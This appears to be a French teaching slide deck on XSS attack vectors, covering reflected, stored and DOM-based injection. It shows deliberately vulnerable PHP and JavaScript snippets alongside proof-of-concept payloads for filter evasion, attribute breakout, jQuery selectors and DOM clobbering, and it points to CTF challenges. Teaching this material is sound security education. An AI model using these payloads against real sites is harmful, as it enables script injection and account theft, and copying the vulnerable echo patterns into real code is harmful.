Vecteur d'attaque XSS
Qu'est-ce que c'est ?
Example
<?php
echo "Votre nom est : " . $_GET['nom'];
?>
Comment on exploite
-
On force l'utilisateur à visiter l'URL
example.php?nom=<script><!-- malicious code --></script>
-
On le force avec
- Iframe caché dans une page web.
- Phishing.
Type de XSS
- Réfléchie
- Stocké
- DOM
Réfléchi et stocké
Cas classique
Attributs seulement
- Si les caractères < et > sont escapés
- Exemple
<img src="<?php echo $url; ?>" />
- x" onerror="alert('XSS')
Code JavaScript (1)
- Si les caractères <, >, " et ' sont escapés
- Exemple
<script>
var abc = "<?php echo $abc; ?>";
</script>
- "+eval(String.fromCharCode(...));//
Code JavaScript (2)
- Si les caractères ", ' et \ sont escapés
- Exemple
<script>
var abc = "<?php echo $abc; ?>";
</script>
- </script><script>eval(String.fromCharCode(...))</script>
Code JavaScript (3)
- Quand on a des limitations de caractères, le JavaScript est très flexible.
- Ressources :
- http://holyvier.blogspot.ca/2011/10/javascript-obfuscation-introduction.html
- http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html
- etc.
DOM
Génération dynamique de HTML
- $("#value").html(params)
- document.getElementById("value").innerHTML = params;
Sélecteur jQuery
- Paramètre non filtré pour la fonction "$"
- Exemple
- $(params).show()
- $("<img src=x onerror=alert(1)>")
DOM clobbering
- Utilisation de variable JavaScript non déclaré
- Accès à des éléments du DOM par leur nom
- Accès à des éléments du DOM par leur classe CSS
- Exemple
- HTML
- <div class=<?php echo htmlentities($_GET['cl']); ?> >
- JavaScript
- $("a.bob").html(code.id)
- Payload
- cl=1 name=code id=<svg/onload=alert(1)>
- HTML
DOM clobbering
- Limitation
- Ne doit pas y avoir une variable du même nom déclarée
- Certaines propriétés du DOM ne sont pas écrasables avec cette méthode
Trucs extra
- Les guillemets sont facultatifs pour les attributs HTML
<img src=x onerror=alert(1) />
- On peut exécuter du JavaScript avec les balises "iframe" et "img" aussi.
- https://www.owasp.org/index.php/
XSS_Filter_Evasion_Cheat_Sheet
Challenges
- Web - XSS 1 à XSS 5
http://ringzer0team.com/
Vecteur d'attaque XSS
By Olivier Arteau
Vecteur d'attaque XSS
- 1,682